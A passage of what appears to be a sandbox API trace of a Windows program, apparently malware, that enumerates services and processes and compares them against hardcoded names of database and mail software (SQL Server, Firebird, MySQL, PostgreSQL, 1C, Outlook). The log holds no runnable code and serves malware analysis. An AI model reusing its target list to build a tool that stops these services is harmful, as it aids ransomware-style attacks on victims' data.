(lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0043.680] lstrlenW (lpString="DPS") returned 3 [0043.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0043.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0043.680] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0043.680] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0043.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0043.680] lstrlenW (lpString="eventlog") returned 8 [0043.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0043.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0043.680] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0043.680] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0043.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0043.680] lstrlenW (lpString="EventSystem") returned 11 [0043.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0043.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0043.680] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0043.680] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0043.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0043.680] lstrlenW (lpString="gpsvc") returned 5 [0043.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0043.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0043.680] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0043.680] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0043.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0043.680] lstrlenW (lpString="iphlpsvc") returned 8 [0043.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0043.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0043.680] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0043.681] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0043.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0043.681] lstrlenW (lpString="LanmanServer") returned 12 [0043.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0043.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0043.681] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0043.681] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0043.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0043.681] lstrlenW (lpString="LanmanWorkstation") returned 17 [0043.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0043.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0043.681] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0043.681] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0043.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0043.681] lstrlenW (lpString="lmhosts") returned 7 [0043.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0043.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0043.681] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0043.681] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0043.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0043.681] lstrlenW (lpString="MMCSS") returned 5 [0043.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0043.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0043.681] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0043.681] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0043.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0043.681] lstrlenW (lpString="MpsSvc") returned 6 [0043.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0043.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0043.681] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0043.681] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0043.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0043.681] lstrlenW (lpString="Netman") returned 6 [0043.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0043.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0043.681] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0043.681] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0043.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0043.681] lstrlenW (lpString="netprofm") returned 8 [0043.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0043.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0043.682] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0043.682] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0043.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0043.682] lstrlenW (lpString="NlaSvc") returned 6 [0043.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0043.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0043.682] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0043.682] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0043.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0043.682] lstrlenW (lpString="nsi") returned 3 [0043.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0043.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0043.682] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0043.682] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0043.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0043.682] lstrlenW (lpString="PcaSvc") returned 6 [0043.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0043.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0043.682] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0043.682] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0043.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0043.682] lstrlenW (lpString="PlugPlay") returned 8 [0043.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0043.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0043.682] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0043.682] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0043.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0043.682] lstrlenW (lpString="Power") returned 5 [0043.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0043.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0043.682] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0043.682] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0043.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0043.682] lstrlenW (lpString="ProfSvc") returned 7 [0043.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0043.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0043.682] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0043.682] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0043.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0043.682] lstrlenW (lpString="RpcEptMapper") returned 12 [0043.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0043.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0043.682] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0043.682] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0043.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0043.683] lstrlenW (lpString="RpcSs") returned 5 [0043.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0043.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0043.683] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0043.683] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0043.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0043.683] lstrlenW (lpString="SamSs") returned 5 [0043.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0043.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0043.683] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0043.683] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0043.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0043.683] lstrlenW (lpString="Schedule") returned 8 [0043.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0043.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0043.683] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0043.683] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0043.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0043.683] lstrlenW (lpString="SENS") returned 4 [0043.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0043.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0043.683] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0043.683] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0043.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0043.683] lstrlenW (lpString="ShellHWDetection") returned 16 [0043.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0043.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0043.683] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0043.683] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0043.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0043.683] lstrlenW (lpString="Spooler") returned 7 [0043.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0043.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0043.683] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0043.683] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0043.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0043.683] lstrlenW (lpString="swprv") returned 5 [0043.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0043.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0043.683] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0043.683] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0043.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0043.684] lstrlenW (lpString="SysMain") returned 7 [0043.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0043.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0043.684] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0043.684] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0043.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0043.684] lstrlenW (lpString="Themes") returned 6 [0043.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0043.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0043.684] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0043.684] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0043.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0043.684] lstrlenW (lpString="TrkWks") returned 6 [0043.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0043.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0043.684] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0043.684] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0043.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0043.684] lstrlenW (lpString="UxSms") returned 5 [0043.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0043.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0043.684] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0043.684] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0043.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0043.684] lstrlenW (lpString="VSS") returned 3 [0043.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0043.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0043.684] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0043.684] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0043.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0043.684] lstrlenW (lpString="WdiServiceHost") returned 14 [0043.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0043.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0043.684] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0043.684] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0043.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0043.684] lstrlenW (lpString="WdiSystemHost") returned 13 [0043.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0043.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0043.684] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0043.684] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0043.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0043.684] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0043.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0043.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0043.685] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0043.685] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0043.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0043.685] lstrlenW (lpString="Winmgmt") returned 7 [0043.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0043.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0043.685] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0043.685] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0043.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0043.685] lstrlenW (lpString="WPDBusEnum") returned 10 [0043.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0043.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0043.685] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0043.685] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0043.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0043.685] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x974238 | out: hHeap=0x880000) returned 1 [0043.685] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x18c [0043.687] Process32FirstW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0043.688] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0043.690] lstrlenW (lpString="System") returned 6 [0043.690] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0043.690] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0043.690] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0043.690] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0043.690] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0043.690] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0043.690] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0043.690] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0043.690] lstrlenW (lpString="smss.exe") returned 8 [0043.690] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0043.690] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0043.690] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0043.690] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0043.691] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0043.691] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0043.691] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0043.691] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0043.691] lstrlenW (lpString="csrss.exe") returned 9 [0043.691] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0043.691] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0043.691] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0043.691] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0043.691] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0043.691] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0043.691] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0043.691] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0043.691] lstrlenW (lpString="wininit.exe") returned 11 [0043.691] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0043.691] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0043.691] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0043.692] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0043.692] lstrlenW (lpString="csrss.exe") returned 9 [0043.692] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0043.692] lstrlenW (lpString="winlogon.exe") returned 12 [0043.692] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0043.693] lstrlenW (lpString="services.exe") returned 12 [0043.693] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0043.693] lstrlenW (lpString="lsass.exe") returned 9 [0043.693] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0043.693] lstrlenW (lpString="lsm.exe") returned 7 [0043.693] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.694] lstrlenW (lpString="svchost.exe") returned 11 [0043.694] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.694] lstrlenW (lpString="svchost.exe") returned 11 [0043.694] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.695] lstrlenW (lpString="svchost.exe") returned 11 [0043.695] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.695] lstrlenW (lpString="svchost.exe") returned 11 [0043.695] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.696] lstrlenW (lpString="svchost.exe") returned 11 [0043.696] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0043.696] lstrlenW (lpString="audiodg.exe") returned 11 [0043.696] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.696] lstrlenW (lpString="svchost.exe") returned 11 [0043.696] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.697] lstrlenW (lpString="svchost.exe") returned 11 [0043.697] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0043.697] lstrlenW (lpString="dwm.exe") returned 7 [0043.697] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0043.698] lstrlenW (lpString="explorer.exe") returned 12 [0043.698] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: 